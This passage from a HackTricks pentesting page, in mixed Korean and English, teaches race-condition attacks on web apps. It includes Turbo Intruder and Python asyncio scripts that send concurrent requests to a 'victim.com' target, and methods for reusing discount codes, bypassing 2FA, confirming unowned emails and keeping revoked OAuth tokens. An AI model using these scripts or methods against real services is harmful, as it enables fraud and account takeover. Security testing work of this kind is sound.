์ฆ‰, Apache๋Š” ๋‹จ์ผ TCP ์—ฐ๊ฒฐ์—์„œ 100๊ฐœ์˜ HTTP ์ŠคํŠธ๋ฆผ๋งŒ ๊ณ ๋ คํ•˜๋ฏ€๋กœ(์ด RC ๊ณต๊ฒฉ์„ ์ œํ•œํ•จ) HTTP/3์˜ ๊ฒฝ์šฐ ์œ ์‚ฌํ•œ ์ œํ•œ์€ QUIC์˜ max_streams ์ „์†ก ํŒŒ๋ผ๋ฏธํ„ฐ์ž…๋‹ˆ๋‹ค โ€” ๊ฐ’์ด ์ž‘๋‹ค๋ฉด ๋ ˆ์ด์Šค๋ฅผ ์—ฌ๋Ÿฌ QUIC ์—ฐ๊ฒฐ์— ๋ถ„์‚ฐํ•˜์„ธ์š”.

์ด ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•œ ๋ช‡ ๊ฐ€์ง€ ์˜ˆ์ œ๋Š” ๋ ˆํฌ์ง€ํ† ๋ฆฌ https://github.com/Ry0taK/first-sequence-sync/tree/main ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Raw BF

์ด์ „ ์—ฐ๊ตฌ ์ด์ „์—๋Š” ํŒจํ‚ท์„ ๊ฐ€๋Šฅํ•œ ํ•œ ๋น ๋ฅด๊ฒŒ ์ „์†กํ•˜์—ฌ RC๋ฅผ ์œ ๋ฐœํ•˜๋ ค๋Š” ๋ช‡ ๊ฐ€์ง€ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์‚ฌ์šฉ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

  • Repeater: ์ด์ „ ์„น์…˜์˜ ์˜ˆ์ œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.
  • Intruder: request๋ฅผ Intruder๋กœ ์ „์†กํ•˜๊ณ , Options menu์—์„œ number of threads๋ฅผ 30์œผ๋กœ ์„ค์ •ํ•œ ๋‹ค์Œ, ํŽ˜์ด๋กœ๋“œ๋กœ Null payloads๋ฅผ ์„ ํƒํ•˜๊ณ  30๊ฐœ๋ฅผ ์ƒ์„ฑํ•˜์„ธ์š”.
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

This is the most basic type of race condition where vulnerabilities that appear in places that limit the number of times you can perform an action. Like using the same discount code in a web store several times. A very easy example can be found in this report or in this bug.

์ด๊ฒƒ์€ ๊ฐ€์žฅ ๊ธฐ๋ณธ์ ์ธ ์œ ํ˜•์˜ race condition์œผ๋กœ, ํ–‰๋™์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ํšŸ์ˆ˜๋ฅผ ์ œํ•œํ•˜๋Š” ๊ณณ์—์„œ vulnerabilities๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒฝ์šฐ์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์›น ์Šคํ† ์–ด์—์„œ ๋™์ผํ•œ ํ• ์ธ ์ฝ”๋“œ๋ฅผ ์—ฌ๋Ÿฌ ๋ฒˆ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์•„์ฃผ ์‰ฌ์šด ์˜ˆ์‹œ๋Š” this report ๋˜๋Š” this bug์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

There are many variations of this kind of attack, including:

  • Redeeming a gift card multiple times
  • Rating a product multiple times
  • Withdrawing or transferring cash in excess of your account balance
  • Reusing a single CAPTCHA solution
  • Bypassing an anti-brute-force rate limit

์ด๋Ÿฌํ•œ ์ข…๋ฅ˜์˜ ๊ณต๊ฒฉ์—๋Š” ์—ฌ๋Ÿฌ ๋ณ€ํ˜•์ด ์žˆ์œผ๋ฉฐ, ์˜ˆ์‹œ๋กœ๋Š” ๋‹ค์Œ์ด ์žˆ์Šต๋‹ˆ๋‹ค:

  • ๊ธฐํ”„ํŠธ ์นด๋“œ๋ฅผ ์—ฌ๋Ÿฌ ๋ฒˆ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ
  • ์ œํ’ˆ์„ ์—ฌ๋Ÿฌ ๋ฒˆ ํ‰์  ๋งค๊ธฐ๋Š” ๊ฒƒ
  • ๊ณ„์ขŒ ์ž”์•ก์„ ์ดˆ๊ณผํ•˜์—ฌ ํ˜„๊ธˆ์„ ์ธ์ถœํ•˜๊ฑฐ๋‚˜ ์ด์ฒดํ•˜๋Š” ๊ฒƒ
  • ํ•˜๋‚˜์˜ CAPTCHA ํ•ด๊ฒฐ์„ ์—ฌ๋Ÿฌ ๋ฒˆ ์žฌ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ
  • anti-brute-force rate limit์„ ์šฐํšŒํ•˜๋Š” ๊ฒƒ

Hidden substates

Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or unintended machine substates. Hereโ€™s how to approach this:

๋ณต์žกํ•œ race condition๋ฅผ ์•…์šฉํ•  ๋•Œ๋Š” ์ˆจ๊ฒจ์ ธ ์žˆ๊ฑฐ๋‚˜ unintended machine substates์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์งง์€ ๊ธฐํšŒ๋ฅผ ์ด์šฉํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค. ์ ‘๊ทผ ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  1. Identify Potential Hidden Substates
  • Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
  • Storage: Prefer endpoints that manipulate server-side persistent data over those handling data client-side.
  • Action: Look for operations that alter existing data, which are more likely to create exploitable conditions compared to those that add new data.
  • Keying: Successful attacks usually involve operations keyed on the same identifier, e.g., username or reset token.
  1. Identify Potential Hidden Substates
  • ์šฐ์„  ์‚ฌ์šฉ์ž ํ”„๋กœํ•„์ด๋‚˜ password reset ํ”„๋กœ์„ธ์Šค์ฒ˜๋Ÿผ ์ค‘์š”ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ •ํ•˜๊ฑฐ๋‚˜ ์ƒํ˜ธ์ž‘์šฉํ•˜๋Š” ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ฐพ์œผ์„ธ์š”. ๋‹ค์Œ์— ์ง‘์ค‘ํ•ฉ๋‹ˆ๋‹ค:
  • Storage: ํด๋ผ์ด์–ธํŠธ ์ธก์—์„œ ์ฒ˜๋ฆฌ๋˜๋Š” ๊ฒƒ๋ณด๋‹ค ์„œ๋ฒ„ ์ธก์˜ ์˜๊ตฌ ์ €์žฅ ๋ฐ์ดํ„ฐ๋ฅผ ์กฐ์ž‘ํ•˜๋Š” ์—”๋“œํฌ์ธํŠธ๋ฅผ ์šฐ์„ ์ ์œผ๋กœ ์‚ดํŽด๋ณด์„ธ์š”.
  • Action: ์ƒˆ ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ์ž‘์—…๋ณด๋‹ค ๊ธฐ์กด ๋ฐ์ดํ„ฐ๋ฅผ ๋ณ€๊ฒฝํ•˜๋Š” ์ž‘์—…์ด ์•…์šฉ ๊ฐ€๋Šฅํ•œ ์ƒํƒœ๋ฅผ ๋งŒ๋“ค ๊ฐ€๋Šฅ์„ฑ์ด ๋” ๋†’์Šต๋‹ˆ๋‹ค.
  • Keying: ์„ฑ๊ณต์ ์ธ ๊ณต๊ฒฉ์€ ๋ณดํ†ต ๋™์ผํ•œ ์‹๋ณ„์ž(e.g., username ๋˜๋Š” reset token)๋ฅผ ํ‚ค๋กœ ํ•˜๋Š” ์ž‘์—…์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.
  1. Conduct Initial Probing
  • Test the identified endpoints with race condition attacks, observing for any deviations from expected outcomes. Unexpected responses or changes in application behavior can signal a vulnerability.
  1. Conduct Initial Probing
  • ์‹๋ณ„ํ•œ ์—”๋“œํฌ์ธํŠธ์— ๋Œ€ํ•ด race condition ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•˜์—ฌ ๊ธฐ๋Œ€ ๊ฒฐ๊ณผ์™€์˜ ์ฐจ์ด๋ฅผ ๊ด€์ฐฐํ•˜์„ธ์š”. ์˜ˆ๊ธฐ์น˜ ์•Š์€ ์‘๋‹ต์ด๋‚˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋™์ž‘์˜ ๋ณ€ํ™”๋Š” vulnerability๋ฅผ ์‹œ์‚ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  1. Demonstrate the Vulnerability
  • Narrow down the attack to the minimal number of requests needed to exploit the vulnerability, often just two. This step might require multiple attempts or automation due to the precise timing involved.
  1. Demonstrate the Vulnerability
  • ๊ณต๊ฒฉ์„ ์•…์šฉํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ์ตœ์†Œ ์š”์ฒญ ์ˆ˜(์ข…์ข… ๋‹จ ๋‘ ๊ฑด)๋กœ ๊ณต๊ฒฉ์„ ์ขํžˆ์„ธ์š”. ์ด ๋‹จ๊ณ„๋Š” ์ •๋ฐ€ํ•œ ํƒ€์ด๋ฐ ๋•Œ๋ฌธ์— ์—ฌ๋Ÿฌ ๋ฒˆ์˜ ์‹œ๋„๋‚˜ ์ž๋™ํ™”๊ฐ€ ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Time Sensitive Attacks

Precision in timing requests can reveal vulnerabilities, especially when predictable methods like timestamps are used for security tokens. For instance, generating password reset tokens based on timestamps could allow identical tokens for simultaneous requests.

์‹œ๊ฐ„์— ๋ฏผ๊ฐํ•œ ์š”์ฒญ์˜ ์ •๋ฐ€ํ•œ ํƒ€์ด๋ฐ์€ vulnerabilities๋ฅผ ๋“œ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŠนํžˆ ํƒ€์ž„์Šคํƒฌํ”„์™€ ๊ฐ™์€ ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ๋ฐฉ๋ฒ•์ด ๋ณด์•ˆ ํ† ํฐ์— ์‚ฌ์šฉ๋  ๋•Œ ๊ทธ๋ ‡์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, password reset ํ† ํฐ์„ ํƒ€์ž„์Šคํƒฌํ”„ ๊ธฐ๋ฐ˜์œผ๋กœ ์ƒ์„ฑํ•˜๋ฉด ๋™์‹œ์— ์š”์ฒญํ•  ๊ฒฝ์šฐ ๋™์ผํ•œ ํ† ํฐ์ด ์ƒ์„ฑ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

To Exploit:

  • Use precise timing, like a single packet attack, to make concurrent password reset requests. Identical tokens indicate a vulnerability.

์•…์šฉ ๋ฐฉ๋ฒ•:

  • ๋‹จ์ผ ํŒจํ‚ท ๊ณต๊ฒฉ์ฒ˜๋Ÿผ ์ •๋ฐ€ํ•œ ํƒ€์ด๋ฐ์„ ์‚ฌ์šฉํ•ด ๋™์‹œ password reset ์š”์ฒญ์„ ๋ณด๋‚ด์„ธ์š”. ๋™์ผํ•œ ํ† ํฐ์ด ๋ฐ˜ํ™˜๋˜๋ฉด ์ทจ์•ฝ์ ์ด ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

Example:

  • Request two password reset tokens at the same time and compare them. Matching tokens suggest a flaw in token generation.

์˜ˆ์‹œ:

  • ๋™์‹œ์— ๋‘ ๊ฐœ์˜ password reset ํ† ํฐ์„ ์š”์ฒญํ•˜๊ณ  ๋น„๊ตํ•˜์„ธ์š”. ํ† ํฐ์ด ์ผ์น˜ํ•˜๋ฉด ํ† ํฐ ์ƒ์„ฑ์— ๊ฒฐํ•จ์ด ์žˆ์Œ์„ ์‹œ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

Check this PortSwigger Lab to try this.

์ด๊ฑธ ์ง์ ‘ ํ•ด๋ณด๋ ค๋ฉด PortSwigger Lab๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

Hidden substates case studies

Pay & add an Item

Check this PortSwigger Lab to see how to pay in a store and add an extra item you that wonโ€™t need to pay for it.

Hidden substates case studies

Pay & add an Item

์Šคํ† ์–ด์—์„œ **๊ฒฐ์ œ(pay)**๋ฅผ ์ง„ํ–‰ํ•˜๋ฉด์„œ ๋™์‹œ์— ์ถ”๊ฐ€ ํ•ญ๋ชฉ์„ **์ถ”๊ฐ€(add an extra)**ํ•˜์—ฌ ๊ทธ ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๊ฒฐ์ œ๋ฅผ ํ•˜์ง€ ์•Š์•„๋„ ๋˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด๋ ค๋ฉด PortSwigger Lab์„ ํ™•์ธํ•˜์„ธ์š”.

Confirm other emails

The idea is to verify an email address and change it to a different one at the same time to find out if the platform verifies the new one changed.

Confirm other emails

์•„์ด๋””์–ด๋Š” **์ด๋ฉ”์ผ ์ฃผ์†Œ๋ฅผ ๊ฒ€์ฆ(verify)**ํ•˜๊ณ  ๋™์‹œ์— ๋‹ค๋ฅธ ์ฃผ์†Œ๋กœ ๋ณ€๊ฒฝ(change)ํ•˜์—ฌ ํ”Œ๋žซํผ์ด ๋ณ€๊ฒฝ๋œ ์ƒˆ ์ฃผ์†Œ๋ฅผ ๊ฒ€์ฆํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

According to this research Gitlab was vulnerable to a takeover this way because it might send the email verification token of one email to the other email.

this research์— ๋”ฐ๋ฅด๋ฉด Gitlab์€ ์ด ๋ฐฉ๋ฒ•์œผ๋กœ ํƒˆ์ทจ์— ์ทจ์•ฝํ–ˆ๋Š”๋ฐ, ํ•œ ์ด๋ฉ”์ผ์˜ email verification token์„ ๋‹ค๋ฅธ ์ด๋ฉ”์ผ๋กœ **์ „์†ก(send)**ํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์—ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

Check this PortSwigger Lab to try this.

์ด๊ฒƒ์„ ์‹œ๋„ํ•ด๋ณด๋ ค๋ฉด PortSwigger Lab๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

Hidden Database states / Confirmation Bypass

If 2 different writes are used to add information inside a database, there is a small portion of time where only the first data has been written inside the database. For example, when creating a user the username and password might be written and then the token to confirm the newly created account is written. This means that for a small time the token to confirm an account is null.

Therefore registering an account and sending several requests with an empty token (token= or token[]= or any other variation) to confirm the account right away could allow to confirm an account where you donโ€™t control the email.

Check this PortSwigger Lab to try this.

Hidden Database states / Confirmation Bypass

๋‘ ๊ฐœ์˜ ์„œ๋กœ ๋‹ค๋ฅธ ์“ฐ๊ธฐ ์ž‘์—…(2 different writes)์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค(database) ๋‚ด๋ถ€์— ์ •๋ณด๋ฅผ **์ถ”๊ฐ€(add)**ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ๊ฒฝ์šฐ, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ฒซ ๋ฒˆ์งธ ๋ฐ์ดํ„ฐ๋งŒ ๊ธฐ๋ก๋œ ์งง์€ ์‹œ๊ฐ„์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์‚ฌ์šฉ์ž ์ƒ์„ฑ ์‹œ username๊ณผ password๊ฐ€ ๋จผ์ € **์“ฐ๊ธฐ(write)**๋˜๊ณ  ๊ทธ ๋‹ค์Œ์— ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ๊ณ„์ •์„ ํ™•์ธํ•˜๋Š” token์ด ๊ธฐ๋ก๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด ์ž ๊น ๋™์•ˆ ๊ณ„์ • ํ™•์ธ์šฉ token์ด null์ธ ์ƒํƒœ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ๊ณ„์ •์„ ๋“ฑ๋กํ•œ ํ›„ ์ฆ‰์‹œ ๋นˆ token(token= ๋˜๋Š” token[]= ๋˜๋Š” ๋‹ค๋ฅธ ๋ณ€ํ˜•`)์œผ๋กœ ์—ฌ๋Ÿฌ ์š”์ฒญ์„ ๋ณด๋‚ด์–ด ๊ณ„์ •์„ ํ™•์ธ(confirm)ํ•˜๋ฉด ๋ณธ์ธ์ด ์ œ์–ดํ•˜์ง€ ์•Š๋Š” ์ด๋ฉ”์ผ๋กœ๋„ ๊ณ„์ •์ด ํ™•์ธ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๊ฒƒ์„ ์‹œ๋„ํ•ด๋ณด๋ ค๋ฉด PortSwigger Lab๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

Bypass 2FA

The following pseudo-code is vulnerable to race condition because in a very small time the 2FA is not enforced while the session is created:

Bypass 2FA

๋‹ค์Œ ์˜์‚ฌ ์ฝ”๋“œ๋Š” session์ด ์ƒ์„ฑ๋˜๋Š” ๋™์•ˆ ์•„์ฃผ ์งง์€ ์‹œ๊ฐ„ ๋™์•ˆ 2FA๊ฐ€ ๊ฐ•์ œ๋˜์ง€ ์•Š๋Š”(2FA is not enforced) ์ƒํƒœ๊ฐ€ ๋˜์–ด race condition์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 ์˜๊ตฌ ์ง€์†์„ฑ

There are several OAUth providers. ์ด๋Ÿฌํ•œ ์„œ๋น„์Šค๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ƒ์„ฑํ•˜๊ณ  ์ œ๊ณต์ž๊ฐ€ ๋“ฑ๋กํ•œ ์‚ฌ์šฉ์ž๋ฅผ ์ธ์ฆํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด client๋Š” ๋‹น์‹ ์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด OAUth provider ๋‚ด์˜ ์ผ๋ถ€ ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผํ•˜๋„๋ก ํ—ˆ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
์ฆ‰, ์—ฌ๊ธฐ๊นŒ์ง€๋Š” google/linkedin/github ๋“ฑ์œผ๋กœ ํ•˜๋Š” ์ผ๋ฐ˜์ ์ธ ๋กœ๊ทธ์ธ์œผ๋กœ, โ€œApplication wants to access your information, do you want to allow it?โ€œ๋ผ๋Š” ํŽ˜์ด์ง€๊ฐ€ ํ‘œ์‹œ๋˜์–ด ํ—ˆ์šฉ ์—ฌ๋ถ€๋ฅผ ๋ฌป์Šต๋‹ˆ๋‹ค.

Race Condition in authorization_code

๋ฌธ์ œ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ด๋ฅผ ์ˆ˜๋ฝํ•˜๋ฉด ์ž๋™์œผ๋กœ ์•…์„ฑ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— **authorization_code**๊ฐ€ ์ „์†ก๋˜๋Š” ์‹œ์ ์— ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ OAUth ์„œ๋น„์Šค ์ œ๊ณต์ž์—์„œ Race Condition์„ ์•…์šฉํ•ด ํ•ด๋‹น **authorization_code**๋กœ๋ถ€ํ„ฐ ํ•˜๋‚˜ ์ด์ƒ์˜ AT/RT(์ธ์ฆ ํ† ํฐ/๋ฆฌํ”„๋ ˆ์‹œ ํ† ํฐ)๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ ์‚ฌ์šฉ์ž๊ฐ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ฐ์ดํ„ฐ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•œ ์‚ฌ์‹ค์„ ์•…์šฉํ•ด ์—ฌ๋Ÿฌ ๊ณ„์ •์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์ดํ›„ ์‚ฌ์šฉ์ž๊ฐ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ ‘๊ทผ์„ ์ทจ์†Œํ•ด๋„ ํ•œ ์Œ์˜ AT/RT๋Š” ์‚ญ์ œ๋˜์ง€๋งŒ, ๋‹ค๋ฅธ ํ† ํฐ๋“ค์€ ์—ฌ์ „ํžˆ ์œ ํšจํ•œ ์ƒํƒœ๋กœ ๋‚จ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Race Condition in Refresh Token

์œ ํšจํ•œ RT๋ฅผ ํš๋“ํ•œ ๋’ค์—๋Š” ์ด๋ฅผ ์•…์šฉํ•ด ์—ฌ๋Ÿฌ ๊ฐœ์˜ AT/RT๋ฅผ ์ƒ์„ฑํ•˜๋ ค ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์‚ฌ์šฉ์ž๊ฐ€ ์•…์„ฑ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ถŒํ•œ์„ ์ทจ์†Œํ•ด๋„ ์—ฌ๋Ÿฌ RT๊ฐ€ ์—ฌ์ „ํžˆ ์œ ํšจํ•œ ์ƒํƒœ๋กœ ๋‚จ์•„์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

RC in WebSockets

  • WS_RaceCondition_PoC์—์„œ๋Š” Java๋กœ ์ž‘์„ฑ๋œ PoC๋ฅผ ํ†ตํ•ด ์›น์†Œ์ผ“ ๋ฉ”์‹œ์ง€๋ฅผ ๋ณ‘๋ ฌ๋กœ ์ „์†กํ•˜์—ฌ WebSockets์—์„œ๋„ Race Conditions๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Burp์˜ WebSocket Turbo Intruder์—์„œ๋Š” THREADED ์—”์ง„์„ ์‚ฌ์šฉํ•ด ๋‹ค์ˆ˜์˜ WS ์—ฐ๊ฒฐ์„ ์ƒ์„ฑํ•˜๊ณ  ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ณ‘๋ ฌ๋กœ ์ „์†กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต์‹ ์˜ˆ์ œ์—์„œ ์‹œ์ž‘ํ•ด ๋™์‹œ์„ฑ ์„ค์ •(config() โ€” ์Šค๋ ˆ๋“œ ์ˆ˜)์„ ์กฐ์ •ํ•˜์„ธ์š”; WS ํ•ธ๋“ค๋Ÿฌ ๊ฐ„ ์„œ๋ฒ„ ์ธก ์ƒํƒœ๋ฅผ ๊ฒฝํ•ฉํ•  ๋•Œ ๋‹จ์ผ ์—ฐ๊ฒฐ์—์„œ ๋ฐฐ์น˜ํ•˜๋Š” ๊ฒƒ๋ณด๋‹ค ์ด ๋ฐฉ๋ฒ•์ด ๋” ์‹ ๋ขฐ์„ฑ ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค. ์˜ˆ์ œ: RaceConditionExample.py.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ